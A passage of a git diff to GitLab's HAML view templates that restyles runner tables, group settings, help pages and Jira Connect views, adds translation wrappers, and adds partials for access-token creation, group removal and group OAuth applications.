.table-section.section-10{ role: 'rowheader' }= _('Type/State')
- .table-section.section-10{ role: 'rowheader' }= _('Runner token')
- .table-section.section-20{ role: 'rowheader' }= _('Description')
+ .table-section.section-30{ role: 'rowheader' }= s_('Runners|Runner')
.table-section.section-10{ role: 'rowheader' }= _('Version')
.table-section.section-10{ role: 'rowheader' }= _('IP Address')
.table-section.section-5{ role: 'rowheader' }= _('Projects')
diff --git a/app/views/groups/runners/_runner.html.haml b/app/views/groups/runners/_runner.html.haml
index 80739395713..89e32c0999c 100644
--- a/app/views/groups/runners/_runner.html.haml
+++ b/app/views/groups/runners/_runner.html.haml
@@ -1,29 +1,30 @@
+-# Note: This file should stay aligned with:
+-# `app/views/admin/runners/_runner.html.haml`
+
.gl-responsive-table-row{ id: dom_id(runner) }
.table-section.section-10.section-wrap
.table-mobile-header{ role: 'rowheader' }= _('Type')
.table-mobile-content
- if runner.group_type?
- %span.badge.badge-success
+ %span.badge.badge-pill.gl-badge.sm.badge-success
= _('group')
- else
- %span.badge.badge-info
+ %span.badge.badge-pill.gl-badge.sm.badge-info
= _('specific')
- if runner.locked?
- %span.badge.badge-warning
+ %span.badge.badge-pill.gl-badge.sm.badge-warning
= _('locked')
- unless runner.active?
- %span.badge.badge-danger
+ %span.badge.badge-pill.gl-badge.sm.badge-danger
= _('paused')
- .table-section.section-10
- .table-mobile-header{ role: 'rowheader' }= _('Runner token')
+ .table-section.section-30
+ .table-mobile-header{ role: 'rowheader' }= s_('Runners|Runner')
.table-mobile-content
- = link_to runner.short_sha, group_runner_path(@group, runner)
-
- .table-section.section-20
- .table-mobile-header{ role: 'rowheader' }= _('Description')
- .table-mobile-content.str-truncated.has-tooltip{ title: runner.description }
- = runner.description
+ = link_to("##{runner.id} (#{runner.short_sha})", group_runner_path(@group, runner))
+ .gl-text-truncate
+ %span{ title: runner.description, data: { toggle: 'tooltip', container: 'body' } }
+ = runner.description
.table-section.section-10
.table-mobile-header{ role: 'rowheader' }= _('Version')
@@ -67,21 +68,21 @@
.table-section.table-button-footer.section-10
.btn-group.table-action-buttons
.btn-group
- = link_to edit_group_runner_path(@group, runner), class: 'btn btn-default has-tooltip', title: _('Edit'), ref: 'tooltip', aria: { label: _('Edit') }, data: { placement: 'top', container: 'body'} do
- = sprite_icon('pencil')
+ = link_to edit_group_runner_path(@group, runner), class: 'gl-button btn btn-default btn-icon has-tooltip', title: _('Edit'), ref: 'tooltip', aria: { label: _('Edit') }, data: { placement: 'top', container: 'body'} do
+ = sprite_icon('pencil', css_class: 'gl-icon')
.btn-group
- if runner.active?
- = link_to pause_group_runner_path(@group, runner), method: :post, class: 'btn btn-default has-tooltip', title: _('Pause'), ref: 'tooltip', aria: { label: _('Pause') }, data: { placement: 'top', container: 'body', confirm: _('Are you sure?') } do
- = sprite_icon('pause')
+ = link_to pause_group_runner_path(@group, runner), method: :post, class: 'gl-button btn btn-default btn-icon has-tooltip', title: _('Pause'), ref: 'tooltip', aria: { label: _('Pause') }, data: { placement: 'top', container: 'body', confirm: _('Are you sure?') } do
+ = sprite_icon('pause', css_class: 'gl-icon')
- else
- = link_to resume_group_runner_path(@group, runner), method: :post, class: 'btn btn-default has-tooltip', title: _('Resume'), ref: 'tooltip', aria: { label: _('Resume') }, data: { placement: 'top', container: 'body'} do
- = sprite_icon('play')
+ = link_to resume_group_runner_path(@group, runner), method: :post, class: 'gl-button btn btn-default btn-icon has-tooltip', title: _('Resume'), ref: 'tooltip', aria: { label: _('Resume') }, data: { placement: 'top', container: 'body'} do
+ = sprite_icon('play', css_class: 'gl-icon')
- if runner.belongs_to_more_than_one_project?
- delete_runner_tooltip = _('Multi-project Runners cannot be removed')
.btn-group.has-tooltip{ data: { container: 'body', placement: 'top' }, title: delete_runner_tooltip }
- .btn.btn-danger{ 'aria-label' => delete_runner_tooltip, disabled: 'disabled' }
- = sprite_icon('close')
+ .gl-button.btn.btn-danger.btn-icon{ 'aria-label' => delete_runner_tooltip, disabled: 'disabled' }
+ = sprite_icon('close', css_class: 'gl-icon')
- else
.btn-group
- = link_to group_runner_path(@group, runner), method: :delete, class: 'btn btn-danger has-tooltip', title: _('Remove'), ref: 'tooltip', aria: { label: _('Remove') }, data: { placement: 'top', container: 'body', confirm: _('Are you sure?') } do
- = sprite_icon('close')
+ = link_to group_runner_path(@group, runner), method: :delete, class: 'gl-button btn btn-danger btn-icon has-tooltip', title: _('Remove'), ref: 'tooltip', aria: { label: _('Remove') }, data: { placement: 'top', container: 'body', confirm: _('Are you sure?') } do
+ = sprite_icon('close', css_class: 'gl-icon')
diff --git a/app/views/groups/runners/edit.html.haml b/app/views/groups/runners/edit.html.haml
index fcd096eeaa0..3794c345aa6 100644
--- a/app/views/groups/runners/edit.html.haml
+++ b/app/views/groups/runners/edit.html.haml
@@ -1,6 +1,9 @@
-- page_title _('Edit'), "#{@runner.description} ##{@runner.id}", 'Runners'
+- page_title _('Edit'), "#{@runner.description} ##{@runner.id}", _('Runners')
-%h4 Runner ##{@runner.id}
+%h2.page-title
+ = s_('Runners|Runner #%{runner_id}' % { runner_id: @runner.id })
+ = render 'shared/runners/runner_type_badge', runner: @runner
-%hr
- = render 'shared/runners/form', runner: @runner, runner_form_url: group_runner_path(@group, @runner)
+= render 'shared/runners/runner_type_alert', runner: @runner
+
+= render 'shared/runners/form', runner: @runner, runner_form_url: group_runner_path(@group, @runner)
diff --git a/app/views/groups/settings/_advanced.html.haml b/app/views/groups/settings/_advanced.html.haml
index fddb83114f3..d7a145924de 100644
--- a/app/views/groups/settings/_advanced.html.haml
+++ b/app/views/groups/settings/_advanced.html.haml
@@ -28,17 +28,17 @@
%h4.warning-title= s_('GroupSettings|Transfer group')
= form_for @group, url: transfer_group_path(@group), method: :put, html: { class: 'js-group-transfer-form' } do |f|
.form-group
- = dropdown_tag('Select parent group', options: { toggle_class: 'js-groups-dropdown', title: 'Parent Group', filter: true, dropdown_class: 'dropdown-open-top dropdown-group-transfer', placeholder: 'Search groups', data: { data: parent_group_options(@group) } })
+ = dropdown_tag('Select parent group', options: { toggle_class: 'js-groups-dropdown', title: 'Parent Group', filter: true, dropdown_class: 'dropdown-open-top dropdown-group-transfer', placeholder: 'Search groups', data: { data: parent_group_options(@group), qa_selector: 'select_group_dropdown' } })
= hidden_field_tag 'new_parent_group_id'
%ul
- - side_effects_link_start = '<a href="https://docs.gitlab.com/ee/user/project/index.html#redirects-when-changing-repository-paths" target="_blank">'
- - warning_text = s_("GroupSettings|Be careful. Changing a group's parent can have unintended %{side_effects_link_start}side effects%{side_effects_link_end}.") % { side_effects_link_start: side_effects_link_start, side_effects_link_end:'</a>' }
+ - side_effects_link_start = '<a href="https://docs.gitlab.com/ee/user/project/index.html#redirects-when-changing-repository-paths" target="_blank">'.html_safe
+ - warning_text = s_("GroupSettings|Be careful. Changing a group's parent can have unintended %{side_effects_link_start}side effects%{side_effects_link_end}.") % { side_effects_link_start: side_effects_link_start, side_effects_link_end: '</a>'.html_safe }
%li= warning_text.html_safe
%li= s_('GroupSettings|You can only transfer the group to a group you manage.')
%li= s_('GroupSettings|You will need to update your local repositories to point to the new location.')
%li= s_("GroupSettings|If the parent group's visibility is lower than the group current visibility, visibility levels for subgroups and projects will be changed to match the new parent group's visibility.")
- = f.submit s_('GroupSettings|Transfer group'), class: 'btn gl-button btn-warning'
+ = f.submit s_('GroupSettings|Transfer group'), class: 'btn gl-button btn-warning', data: { qa_selector: "transfer_group_button" }
= render 'groups/settings/remove', group: @group
= render_if_exists 'groups/settings/restore', group: @group
diff --git a/app/views/groups/settings/_general.html.haml b/app/views/groups/settings/_general.html.haml
index f5cd7dde6a4..7a2d5c91af6 100644
--- a/app/views/groups/settings/_general.html.haml
+++ b/app/views/groups/settings/_general.html.haml
@@ -1,5 +1,3 @@
-- enable_search_settings locals: { container_class: 'gl-my-5' }
-
= form_for @group, html: { multipart: true, class: 'gl-show-field-errors js-general-settings-form' }, authenticity_token: true do |f|
%input{ type: 'hidden', name: 'update_section', value: 'js-general-settings' }
= form_errors(@group)
@@ -28,7 +26,7 @@
= render 'shared/choose_avatar_button', f: f
- if @group.avatar?
%hr
- = link_to _('Remove avatar'), group_avatar_path(@group.to_param), data: { confirm: _('Avatar will be removed. Are you sure?')}, method: :delete, class: 'btn btn-link'
+ = link_to _('Remove avatar'), group_avatar_path(@group.to_param), data: { confirm: _('Avatar will be removed. Are you sure?')}, method: :delete, class: 'gl-button btn btn-danger-secondary'
= render 'shared/visibility_level', f: f, visibility_level: @group.visibility_level, can_change_visibility_level: can_change_group_visibility_level?(@group), form_model: @group
= f.submit _('Save changes'), class: 'btn gl-button btn-confirm mt-4 js-dirty-submit', data: { qa_selector: 'save_name_visibility_settings_button' }
diff --git a/app/views/groups/settings/_permanent_deletion.html.haml b/app/views/groups/settings/_permanent_deletion.html.haml
index 8bd47fbea44..125a20060ed 100644
--- a/app/views/groups/settings/_permanent_deletion.html.haml
+++ b/app/views/groups/settings/_permanent_deletion.html.haml
@@ -5,4 +5,5 @@
= _('Removing this group also removes all child projects, including archived projects, and their resources.')
%br
%strong= _('Removed group can not be restored!')
- = button_to _('Remove group'), '#', class: 'btn gl-button btn-danger js-confirm-danger', data: { 'confirm-danger-message' => remove_group_message(group) }
+
+ = render 'groups/settings/remove_button', group: group
diff --git a/app/views/groups/settings/_permissions.html.haml b/app/views/groups/settings/_permissions.html.haml
index dc20e796846..fcfe70bd694 100644
--- a/app/views/groups/settings/_permissions.html.haml
+++ b/app/views/groups/settings/_permissions.html.haml
@@ -8,28 +8,29 @@
= render 'shared/allow_request_access', form: f
.form-group.gl-mb-3
- .form-check
- = f.check_box :share_with_group_lock, disabled: !can_change_share_with_group_lock?(@group), class: 'form-check-input'
- = f.label :share_with_group_lock, class: 'form-check-label' do
- %span.d-block
+ .gl-form-checkbox.custom-control.custom-checkbox
+ = f.check_box :share_with_group_lock, disabled: !can_change_share_with_group_lock?(@group), class: 'custom-control-input'
+ = f.label :share_with_group_lock, class: 'custom-control-label' do
+ %span
- group_link = link_to @group.name, group_path(@group)
= s_('GroupSettings|Prevent sharing a project within %{group} with other groups').html_safe % { group: group_link }
- %span.js-descr.text-muted= share_with_group_lock_help_text(@group)
+ %p.js-descr.help-text= share_with_group_lock_help_text(@group)
.form-group.gl-mb-3
- .form-check
- = f.check_box :emails_disabled, checked: @group.emails_disabled?, disabled: !can_disable_group_emails?(@group), class: 'form-check-input'
- = f.label :emails_disabled, class: 'form-check-label' do
- %span.d-block= s_('GroupSettings|Disable email notifications')
- %span.text-muted= s_('GroupSettings|This setting will override user notification preferences for all members of the group, subgroups, and projects.')
+ .gl-form-checkbox.custom-control.custom-checkbox
+ = f.check_box :emails_disabled, checked: @group.emails_disabled?, disabled: !can_disable_group_emails?(@group), class: 'custom-control-input'
+ = f.label :emails_disabled, class: 'custom-control-label' do
+ %span= s_('GroupSettings|Disable email notifications')
+ %p.help-text= s_('GroupSettings|This setting will override user notification preferences for all members of the group, subgroups, and projects.')
.form-group.gl-mb-3
- .form-check
- = f.check_box :mentions_disabled, checked: @group.mentions_disabled?, class: 'form-check-input'
- = f.label :mentions_disabled, class: 'form-check-label' do
- %span.d-block= s_('GroupSettings|Disable group mentions')
- %span.text-muted= s_('GroupSettings|This setting will prevent group members from being notified if the group is mentioned.')
+ .gl-form-checkbox.custom-control.custom-checkbox
+ = f.check_box :mentions_disabled, checked: @group.mentions_disabled?, class: 'custom-control-input'
+ = f.label :mentions_disabled, class: 'custom-control-label' do
+ %span= s_('GroupSettings|Disable group mentions')
+ %p.help-text= s_('GroupSettings|This setting will prevent group members from being notified if the group is mentioned.')
+ = render 'groups/settings/project_access_token_creation', f: f, group: @group
= render_if_exists 'groups/settings/delayed_project_removal', f: f, group: @group
= render_if_exists 'groups/settings/ip_restriction', f: f, group: @group
= render_if_exists 'groups/settings/allowed_email_domain', f: f, group: @group
diff --git a/app/views/groups/settings/_project_access_token_creation.html.haml b/app/views/groups/settings/_project_access_token_creation.html.haml
new file mode 100644
index 00000000000..8be17c6cc30
--- /dev/null
+++ b/app/views/groups/settings/_project_access_token_creation.html.haml
@@ -0,0 +1,10 @@
+- return unless render_setting_to_allow_project_access_token_creation?(group)
+
+.form-group.gl-mb-3
+ .gl-form-checkbox.custom-control.custom-checkbox
+ = f.check_box :resource_access_token_creation_allowed, checked: group.namespace_settings.resource_access_token_creation_allowed?, class: 'custom-control-input', data: { qa_selector: 'resource_access_token_creation_allowed_checkbox' }
+ = f.label :resource_access_token_creation_allowed, class: 'custom-control-label' do
+ %span= s_('GroupSettings|Allow project access token creation')
+ - project_access_tokens_link = help_page_path('user/project/settings/project_access_tokens')
+ - link_start = '<a href="%{url}" target="_blank" rel="noopener noreferrer">'.html_safe % { url: project_access_tokens_link }
+ %p.help-text= s_('GroupSettings|Users can create %{link_start}project access tokens%{link_end} for projects in this group.').html_safe % { link_start: link_start, link_end: '</a>'.html_safe }
diff --git a/app/views/groups/settings/_remove_button.html.haml b/app/views/groups/settings/_remove_button.html.haml
new file mode 100644
index 00000000000..a04dba68b92
--- /dev/null
+++ b/app/views/groups/settings/_remove_button.html.haml
@@ -0,0 +1,7 @@
+- if group.paid?
+ .gl-alert.gl-alert-info.gl-mb-5{ data: { testid: 'group-has-linked-subscription-alert' } }
+ = sprite_icon('information-o', size: 16, css_class: 'gl-icon gl-alert-icon gl-alert-icon-no-title')
+ .gl-alert-body
+ = html_escape(_("This group can't be removed because it is linked to a subscription. To remove this group, %{linkStart}link the subscription%{linkEnd} with a different group.")) % { linkStart: "<a href=\"#{help_page_path('subscriptions/index', anchor: 'change-the-linked-namespace')}\">".html_safe, linkEnd: '</a>'.html_safe }
+
+= button_to _('Remove group'), '#', class: ['btn gl-button btn-danger js-confirm-danger', ('disabled' if group.paid?)], data: { 'confirm-danger-message' => remove_group_message(group), 'testid' => 'remove-group-button' }
diff --git a/app/views/groups/settings/applications/edit.html.haml b/app/views/groups/settings/applications/edit.html.haml
new file mode 100644
index 00000000000..cba4892eef9
--- /dev/null
+++ b/app/views/groups/settings/applications/edit.html.haml
@@ -0,0 +1,5 @@
+- page_title _("Edit"), @application.name, _("Group applications")
+- @content_class = "limit-container-width" unless fluid_layout
+
+%h3.page-title= _('Edit group application')
+= render 'shared/doorkeeper/applications/form', url: group_settings_application_path(@group, @application)
diff --git a/app/views/groups/settings/applications/index.html.haml b/app/views/groups/settings/applications/index.html.haml
new file mode 100644
index 00000000000..96f834bd271
--- /dev/null
+++ b/app/views/groups/settings/applications/index.html.haml
@@ -0,0 +1,8 @@
+- page_title _("Group applications")
+
+= render 'shared/doorkeeper/applications/index',
+ oauth_applications_enabled: user_oauth_applications?,
+ oauth_authorized_applications_enabled: false,
+ form_url: group_settings_applications_path(@group),
+ application_url: ->(application) { group_settings_application_path(@group, application) },
+ edit_application_url: ->(application) { edit_group_settings_application_path(@group, application) }
diff --git a/app/views/groups/settings/applications/show.html.haml b/app/views/groups/settings/applications/show.html.haml
new file mode 100644
index 00000000000..fce3602349b
--- /dev/null
+++ b/app/views/groups/settings/applications/show.html.haml
@@ -0,0 +1,9 @@
+- add_to_breadcrumbs _("Group applications"), group_settings_applications_path(@group)
+- breadcrumb_title @application.name
+- page_title @application.name, _("Group applications")
+- @content_class = "limit-container-width" unless fluid_layout
+
+%h3.page-title
+ = _("Group application: %{name}") % { name: @application.name }
+
+= render 'shared/doorkeeper/applications/show', edit_path: edit_group_settings_application_path(@group, @application), delete_path: group_settings_application_path(@group, @application)
diff --git a/app/views/groups/settings/ci_cd/show.html.haml b/app/views/groups/settings/ci_cd/show.html.haml
index 574750d5f57..3c6514b95b8 100644
--- a/app/views/groups/settings/ci_cd/show.html.haml
+++ b/app/views/groups/settings/ci_cd/show.html.haml
@@ -4,8 +4,6 @@
- expanded = expanded_by_default?
- general_expanded = @group.errors.empty? ? expanded : true
-- enable_search_settings locals: { container_class: 'gl-my-5' }
-
-# Given we only have one field in this form which is also admin-only,
-# we don't want to show an empty section to non-admin users,
- if can?(current_user, :update_max_artifacts_size, @group)
diff --git a/app/views/groups/settings/integrations/index.html.haml b/app/views/groups/settings/integrations/index.html.haml
index f62eb17d236..92b545cad0a 100644
--- a/app/views/groups/settings/integrations/index.html.haml
+++ b/app/views/groups/settings/integrations/index.html.haml
@@ -2,8 +2,8 @@
- page_title _('Integrations')
- @content_class = 'limit-container-width' unless fluid_layout
-%h4= s_('GroupSettings|Apply integration settings to all Projects')
-%p
- = s_('GroupSettings|Integrations configured here will automatically apply to all projects in this group.')
- = link_to _('Learn more'), integrations_help_page_path, target: '_blank', rel: 'noopener noreferrer'
+%h3= s_('Integrations|Project integration management')
+
+- integrations_link_start = '<a href="%{url}" target="_blank" rel="noopener noreferrer">'.html_safe % { url: integrations_help_page_path }
+%p= s_('Integrations|As a GitLab administrator, you can set default configuration parameters for a given integration that all projects can inherit and use. When you set these parameters, your changes update the integration for all projects that are not already using custom settings. Learn more about %{integrations_link_start}Project integration management%{link_end}.').html_safe % { integrations_link_start: integrations_link_start, link_end: '</a>'.html_safe }
= render 'shared/integrations/index', integrations: @integrations
diff --git a/app/views/groups/settings/packages_and_registries/index.html.haml b/app/views/groups/settings/packages_and_registries/index.html.haml
index 21eef20a987..1a12ad4902b 100644
--- a/app/views/groups/settings/packages_and_registries/index.html.haml
+++ b/app/views/groups/settings/packages_and_registries/index.html.haml
@@ -2,6 +2,4 @@
- page_title _('Packages & Registries')
- @content_class = 'limit-container-width' unless fluid_layout
-- enable_search_settings locals: { container_class: 'gl-my-5' }
-
%section#js-packages-and-registries-settings{ data: { default_expanded: expanded_by_default?.to_s, group_path: @group.full_path } }
diff --git a/app/views/groups/settings/repository/show.html.haml b/app/views/groups/settings/repository/show.html.haml
index b15d36c631a..a5819320405 100644
--- a/app/views/groups/settings/repository/show.html.haml
+++ b/app/views/groups/settings/repository/show.html.haml
@@ -1,8 +1,6 @@
- breadcrumb_title _('Repository Settings')
- page_title _('Repository')
-- enable_search_settings locals: { container_class: 'gl-my-5' }
-
- deploy_token_description = s_('DeployTokens|Group deploy tokens allow access to the packages, repositories, and registry images within the group.')
= render "shared/deploy_tokens/index", group_or_project: @group, description: deploy_token_description
diff --git a/app/views/help/index.html.haml b/app/views/help/index.html.haml
index 03f8539293b..a56eaaf685f 100644
--- a/app/views/help/index.html.haml
+++ b/app/views/help/index.html.haml
@@ -13,19 +13,20 @@
- unless Gitlab::CurrentSettings.help_page_hide_commercial_content?
%p.slead
- GitLab is open source software to collaborate on code.
+ = _('GitLab is open source software to collaborate on code.')
%br
- Manage git repositories with fine-grained access controls that keep your code secure.
+ = _('Manage git repositories with fine-grained access controls that keep your code secure.')
%br
- Perform code reviews and enhance collaboration with merge requests.
+ = _('Perform code reviews and enhance collaboration with merge requests.')
%br
- Each project can also have an issue tracker and a wiki.
+ = _('Each project can also have an issue tracker and a wiki.')
%br
- Used by more than 100,000 organizations, GitLab is the most popular solution to manage git repositories on-premises.
+ = _('Used by more than 100,000 organizations, GitLab is the most popular solution to manage git repositories on-premises.')
%br
- Read more about GitLab at #{link_to promo_host, promo_url, target: '_blank', rel: 'noopener noreferrer'}.
+ - link_to_promo = link_to(promo_host, promo_url, target: '_blank', rel: 'noopener noreferrer')
+ = _("Read more about GitLab at %{link_to_promo}.").html_safe % { link_to_promo: link_to_promo }
-%p= link_to 'Check the current instance configuration ', help_instance_configuration_url
+%p= link_to _('Check the current instance configuration '), help_instance_configuration_url
%hr
.row.gl-mt-3
@@ -35,15 +36,15 @@
.col-md-4
.card.links-card
.card-header
- Quick help
+ = _('Quick help')
%ul.content-list
- %li= link_to 'See our website for getting help', support_url
+ %li= link_to _('See our website for getting help'), support_url
%li
%button.btn-blank.btn-link.js-trigger-search-bar{ type: 'button' }
- Use the search bar on the top of this page
+ = _('Use the search bar on the top of this page')
%li
%button.btn-blank.btn-link.js-trigger-shortcut{ type: 'button' }
- Use shortcuts
+ = _('Use shortcuts')
- unless Gitlab::CurrentSettings.help_page_hide_commercial_content?
- %li= link_to 'Get a support subscription', 'https://about.gitlab.com/pricing/'
- %li= link_to 'Compare GitLab editions', 'https://about.gitlab.com/features/#compare'
+ %li= link_to _('Get a support subscription'), 'https://about.gitlab.com/pricing/'
+ %li= link_to _('Compare GitLab editions'), 'https://about.gitlab.com/features/#compare'
diff --git a/app/views/help/instance_configuration.html.haml b/app/views/help/instance_configuration.html.haml
index 260566b1441..1cd05dcf65e 100644
--- a/app/views/help/instance_configuration.html.haml
+++ b/app/views/help/instance_configuration.html.haml
@@ -1,15 +1,15 @@
- page_title _('Instance Configuration')
.documentation.md
- %h1 Instance Configuration
+ %h1= _('Instance Configuration')
%p
- In this page you will find information about the settings that are used in your current instance.
+ = _("In this page you will find information about the settings that are used in your current instance.")
= render 'help/instance_configuration/ssh_info'
= render 'help/instance_configuration/gitlab_pages'
= render 'help/instance_configuration/gitlab_ci'
%p
- %strong Table of contents
+ %strong= _("Table of contents")
%ul
= content_for :table_content
diff --git a/app/views/help/instance_configuration/_gitlab_ci.html.haml b/app/views/help/instance_configuration/_gitlab_ci.html.haml
index 7fa8bd086d4..53fa3f89873 100644
--- a/app/views/help/instance_configuration/_gitlab_ci.html.haml
+++ b/app/views/help/instance_configuration/_gitlab_ci.html.haml
@@ -1,24 +1,24 @@
- content_for :table_content do
- %li= link_to 'GitLab CI', '#gitlab-ci'
+ %li= link_to _('GitLab CI'), '#gitlab-ci'
- content_for :settings_content do
%h2#gitlab-ci
- GitLab CI
+ = _('GitLab CI')
%p
- Below are the current settings regarding
- = succeed('.') { link_to('GitLab CI', 'https://about.gitlab.com/gitlab-ci', target: '_blank') }
+ = _('Below are the current settings regarding')
+ = succeed('.') { link_to(_('GitLab CI'), 'https://about.gitlab.com/gitlab-ci', target: '_blank') }
.table-responsive
%table
%thead
%tr
- %th Setting
+ %th= _('Setting')
%th= instance_configuration_host(@instance_configuration.settings[:host])
- %th Default
+ %th= _('Default')
%tbody
%tr
- artifacts_size = @instance_configuration.settings[:gitlab_ci][:artifacts_max_size]
- %td Artifacts maximum size
+ %td= _('Artifacts maximum size')
%td= instance_configuration_human_size_cell(artifacts_size[:value])
%td= instance_configuration_human_size_cell(artifacts_size[:default])
diff --git a/app/views/help/instance_configuration/_gitlab_pages.html.haml b/app/views/help/instance_configuration/_gitlab_pages.html.haml
index 94c25edaf82..55f043214f6 100644
--- a/app/views/help/instance_configuration/_gitlab_pages.html.haml
+++ b/app/views/help/instance_configuration/_gitlab_pages.html.haml
@@ -1,35 +1,35 @@
- gitlab_pages = @instance_configuration.settings[:gitlab_pages]
- content_for :table_content do
- %li= link_to 'GitLab Pages', '#gitlab-pages'
+ %li= link_to _('GitLab Pages'), '#gitlab-pages'
- content_for :settings_content do
%h2#gitlab-pages
- GitLab Pages
+ = _('GitLab Pages')
%p
- Below are the settings for
- = succeed('.') { link_to('GitLab Pages', gitlab_pages[:url], target: '_blank') }
+ - link_to_gitlab_pages = link_to(_('GitLab Pages'), gitlab_pages[:url], target: '_blank')
+ = _('Below are the settings for %{link_to_gitlab_pages}.').html_safe % { link_to_gitlab_pages: link_to_gitlab_pages }
.table-responsive
%table
%thead
%tr
- %th Setting
+ %th= _('Setting')
%th= instance_configuration_host(@instance_configuration.settings[:host])
%tbody
%tr
- %td Domain Name
+ %td= _('Domain Name')
%td
%code= instance_configuration_cell_html(gitlab_pages[:host])
%tr
- %td IP Address
+ %td= _('IP Address')
%td
%code= instance_configuration_cell_html(gitlab_pages[:ip_address])
%tr
- %td Port
+ %td= _('Port')
%td
%code= instance_configuration_cell_html(gitlab_pages[:port])
%br
%p
- The maximum size of your Pages site is regulated by the artifacts maximum
- size which is part of #{succeed('.') { link_to('GitLab CI', '#gitlab-ci') }}
+ - link_to_gitlab_ci = link_to(_('GitLab CI'), '#gitlab-ci')
+ = _("The maximum size of your Pages site is regulated by the artifacts maximum size which is part of %{link_to_gitlab_ci}.").html_safe % { link_to_gitlab_ci: link_to_gitlab_ci }
diff --git a/app/views/import/fogbugz/new_user_map.html.haml b/app/views/import/fogbugz/new_user_map.html.haml
index 47139917379..832289c3166 100644
--- a/app/views/import/fogbugz/new_user_map.html.haml
+++ b/app/views/import/fogbugz/new_user_map.html.haml
@@ -32,7 +32,7 @@
%tbody
- @user_map.each do |id, user|
%tr
- %td= (id)
+ %td= id
%td= text_field_tag "users[#{id}][name]", user[:name], class: 'form-control'
%td= text_field_tag "users[#{id}][email]", user[:email], class: 'form-control'
%td
diff --git a/app/views/import/shared/_new_project_form.html.haml b/app/views/import/shared/_new_project_form.html.haml
index bfc4e65e23d..561c14dc68a 100644
--- a/app/views/import/shared/_new_project_form.html.haml
+++ b/app/views/import/shared/_new_project_form.html.haml
@@ -5,7 +5,7 @@
.form-group.col-12.col-sm-6
= label_tag :namespace_id, _('Project URL'), class: 'label-bold'
.form-group
- .input-group.flex-nowrap
+ .input-group.gl-flex-nowrap
- if current_user.can_select_namespace?
.input-group-prepend.flex-shrink-0.has-tooltip{ title: root_url }
.input-group-text
diff --git a/app/views/invites/show.html.haml b/app/views/invites/show.html.haml
index 1492fea7fb2..ae13ef831dd 100644
--- a/app/views/invites/show.html.haml
+++ b/app/views/invites/show.html.haml
@@ -25,5 +25,5 @@
- if !member?
.actions
- = link_to _("Accept invitation"), accept_invite_url(@token), method: :post, class: "btn gl-button btn-success"
+ = link_to _("Accept invitation"), accept_invite_url(@token), method: :post, class: "btn gl-button btn-confirm"
= link_to _("Decline"), decline_invite_url(@token), method: :post, class: "btn gl-button btn-danger gl-ml-3"
diff --git a/app/views/jira_connect/subscriptions/index.html.haml b/app/views/jira_connect/subscriptions/index.html.haml
index c7873991010..43672551caf 100644
--- a/app/views/jira_connect/subscriptions/index.html.haml
+++ b/app/views/jira_connect/subscriptions/index.html.haml
@@ -10,7 +10,7 @@
%main.jira-connect-app.gl-px-5.gl-pt-7.gl-mx-auto
- if current_user.blank? && @subscriptions.empty?
- .jira-connect-app-body.gl-text-center
+ .jira-connect-app-body.gl-px-5.gl-text-center
%h2= s_('JiraService|GitLab for Jira Configuration')
%p= s_('JiraService|Sign in to GitLab.com to get started.')
@@ -22,30 +22,11 @@
- else
.js-jira-connect-app{ data: jira_connect_app_data(@subscriptions) }
- .jira-connect-app-body
- - if @subscriptions.present?
- %table.subscriptions.gl-w-full
- %thead
- %tr
- %th= _('Namespace')
- %th= _('Added')
- %th
- %tbody
- - @subscriptions.each do |subscription|
- %tr
- %td= subscription.namespace.full_path
- %td= subscription.created_at
- %td= link_to _('Remove'), jira_connect_subscription_path(subscription), class: 'js-jira-connect-remove-subscription'
- - else
- .gl-text-center
- %h4= s_('Integrations|No linked namespaces')
- %p= s_('Integrations|Namespaces are your GitLab groups and subgroups that will be linked to this Jira instance.')
-
- %p.jira-connect-app-body.gl-mt-7.gl-font-base.gl-text-center
+ %p.jira-connect-app-body.gl-px-5.gl-mt-7.gl-font-base.gl-text-center
%strong= s_('Integrations|Browser limitations')
- firefox_link_url = 'https://www.mozilla.org/en-US/firefox/'
- firefox_link_start = '<a href="%{url}" target="_blank" rel="noopener noreferrer">'.html_safe % { url: firefox_link_url }
- = s_('Integrations|Adding a namespace currently works only in browsers that allow cross‑site cookies. Please make sure to use %{firefox_link_start}Firefox%{firefox_link_end} or enable cross‑site cookies in your browser when adding a namespace.').html_safe % { firefox_link_start: firefox_link_start, firefox_link_end: '</a>'.html_safe }
+ = s_('Integrations|Adding a namespace works only in browsers that allow cross‑site cookies. Use %{firefox_link_start}Firefox%{firefox_link_end}, or enable cross‑site cookies in your browser, when adding a namespace.').html_safe % { firefox_link_start: firefox_link_start, firefox_link_end: '</a>'.html_safe }
= link_to _('Learn more'), 'https://gitlab.com/gitlab-org/gitlab/-/issues/284211', target: '_blank', rel: 'noopener noreferrer'
= webpack_bundle_tag 'performance_bar' if performance_bar_enabled?
diff --git a/app/views/jira_connect/users/show.html.haml b/app/views/jira_connect/users/show.html.haml
index 2ff92ab0dc8..cf88acd6976 100644
--- a/app/views/jira_connect/users/show.html.haml
+++ b/app/views/jira_connect/users/show.html.haml
@@ -1,11 +1,11 @@
.jira-connect-users-container.gl-text-center
- user_link = link_to(current_user.to_reference, user_path(current_user), target: '_blank', rel: 'noopener noreferrer')
- %h2= _('You are signed into GitLab as %{user_link}').html_safe % { user_link: user_link }
+ %h2= _('You are signed in to GitLab as %{user_link}').html_safe % { user_link: user_link }
%p= s_('Integrations|You can now close this window and return to the GitLab for Jira application.')
- if @jira_app_link
- %p= external_link s_('Integrations|Return to GitLab for Jira'), @jira_app_link, class: 'btn btn-success'
+ %p= external_link s_('Integrations|Return to GitLab for Jira'), @jira_app_link, class: 'gl-button btn btn-confirm'
%p= link_to _('Sign out'), destroy_user_session_path, method: :post
diff --git a/app/views/kaminari/gitlab/_page.html.haml b/app/views/kaminari/gitlab/_page.html.haml
index b000a490e3e..92df78f358d 100644
--- a/app/views/kaminari/gitlab/_page.html.haml
+++ b/app/views/kaminari/gitlab/_page.html.haml
@@ -10,5 +10,5 @@
('sibling' if page.next? || page.prev?),
('js-first-button' if page.first?),
('js-last-button' if page.last?),
- ('d-none d-md-block' if !page.current?) ] }
+ ('d-none d-md-block' if !page.current?)] }
= link_to page, url, { remote: remote, rel: page.next? ? 'next' : page.prev? ? 'prev' : nil, class: ['page-link', active_when(page.current?)] }
diff --git a/app/views/layouts/_flash.html.haml b/app/views/layouts/_flash.html.haml
index 35fefe40d39..433337602f1 100644
--- a/app/views/layouts/_flash.html.haml
+++ b/app/views/layouts/_flash.html.haml
@@ -1,5 +1,5 @@
-# We currently only support `alert`, `notice`, `success`, 'toast'
-- icons = {'alert' => 'error', 'notice' => 'information-o', 'success' => 'check-circle'};
